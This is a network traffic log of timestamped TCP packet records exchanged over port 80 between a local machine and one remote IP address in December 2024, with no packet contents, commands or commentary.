Dec 27, 2024 08:52:14.253245115 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.254276037 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.254336119 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.254373074 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.254430056 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.255580902 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.255630016 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.255656004 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.255696058 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.256623030 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.256674051 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.256721973 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.256763935 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.257817030 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.257865906 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.257975101 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.258016109 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.258975029 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.259027004 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.259064913 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.259115934 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.260134935 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.260190010 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.260234118 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.260293961 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.261517048 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.261538029 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.261581898 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.261590958 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.262495995 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.262552977 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.262588978 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.262634039 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.263659000 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.263726950 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.263752937 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.263799906 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.264852047 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.264905930 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.265024900 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.265089989 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.266021967 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.266073942 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.266154051 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.266199112 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.267172098 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.267234087 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.267281055 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.267324924 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.268368959 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.268423080 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.268459082 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.268505096 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.269541025 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.269594908 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.269624949 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.269673109 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.270694971 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.270746946 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.270785093 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.270831108 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.271893024 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.271943092 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.271969080 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.272012949 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.273044109 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.273097038 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.273156881 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.273202896 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.274316072 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.274347067 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.274375916 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.274384022 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.275419950 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.275489092 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.275520086 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.275564909 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.276604891 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.276668072 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.276691914 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.276742935 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.277730942 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.277780056 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.277844906 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.277889967 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.278924942 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.278975964 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.279048920 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.279093981 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.280096054 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.280149937 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.280203104 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.280253887 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.281254053 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.281306028 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.281352997 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.281399965 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.282382011 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.282433987 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.413063049 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.413094044 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.413157940 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.413184881 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.413486004 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.413536072 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.413767099 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.413815022 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.413872957 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.413916111 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.414963961 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.415026903 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.415097952 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.415183067 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.416126013 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.416181087 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.416188955 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.416219950 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.417283058 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.417340040 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.417396069 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.417447090 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.418451071 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.418502092 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.418503046 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.418550968 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.419624090 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.419677019 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.419704914 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.419750929 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.420861006 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.420893908 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.420914888 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.420929909 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.421988010 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.422056913 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.422161102 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.422215939 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.423211098 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.423279047 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.423296928 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.423348904 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.424349070 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.424403906 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.424474001 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.424601078 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.425508976 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.425566912 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.425621986 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.425672054 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.426697016 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.426750898 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.426800966 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.426862001 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.427819014 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.427880049 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.428010941 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.428057909 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.429097891 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.429164886 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.429289103 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.429336071 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.430224895 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.430280924 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.430413008 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.430468082 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.431355953 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.431421995 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.431472063 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.431516886 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.432542086 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.432600975 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.432701111 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.432744980 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.433773041 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.433820963 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.433893919 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.433936119 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.434912920 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.434973955 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.435010910 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.435060024 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.436161041 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.436245918 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.436266899 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.436331034 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.437242985 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.437300920 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.437324047 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.437370062 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.438425064 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.438484907 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.438534021 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.438584089 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.439588070 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.439649105 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.439682961 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.439728975 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.440732956 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.440789938 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.440855026 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.440900087 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.441939116 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.441994905 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.442027092 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.442078114 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.443116903 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.443181992 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.443222046 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.443281889 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.444266081 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.444330931 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.444386005 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.444432020 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.445452929 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.445503950 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.445523977 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.445565939 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.446638107 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.446691990 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.446753025 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.446794987 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.447792053 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.447839022 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.448008060 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.448049068 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.448996067 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.449045897 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.449094057 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.449131966 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.450149059 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.450207949 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.450237989 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.450285912 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.451302052 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.451405048 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.451406956 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.451447010 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.452483892 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.452538013 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.452594995 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.452636003 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.453664064 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.453720093 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.453778982 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.453821898 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.454863071 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.454917908 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.454925060 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.454960108 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.456027985 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.456082106 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.456125021 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.456171036 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.457166910 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.457216978 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.457289934 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.457330942 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.458327055 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.458384037 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.458432913 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.458479881 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.459486961 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.459537029 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.459600925 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.459649086 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.460664988 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.460721970 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.460783958 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.460834026 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.461862087 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.461915970 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.461968899 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.462013006 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.463027954 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.463093996 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.463130951 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.463176012 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.464193106 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.464255095 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.464322090 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.464384079 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.465398073 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.465449095 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.465504885 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.465569973 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.466545105 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.466603041 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.466650009 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.466698885 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.467732906 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.467788935 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.467895031 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.467940092 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.468939066 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.468991041 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.469096899 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.469146013 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.470057011 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.470109940 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.470179081 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.470225096 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.471229076 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.471295118 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.471307039 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.471349955 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.472428083 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.472490072 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.472542048 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.472584963 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.473591089 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.473655939 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.473691940 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.473736048 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.605258942 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.605320930 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.605362892 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.605406046 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.605562925 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.605602026 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.605627060 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.605660915 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.606758118 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.606801987 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.606858015 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.606894016 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.607913017 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.607956886 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.608036995 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.608083963 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.609127998 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.609170914 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.609216928 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.609252930 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.610245943 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.610282898 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.610348940 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.610383034 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.611434937 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:14.611496925 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:14.611571074 CET	80	49949	31.41.244.11	192.168.2.6
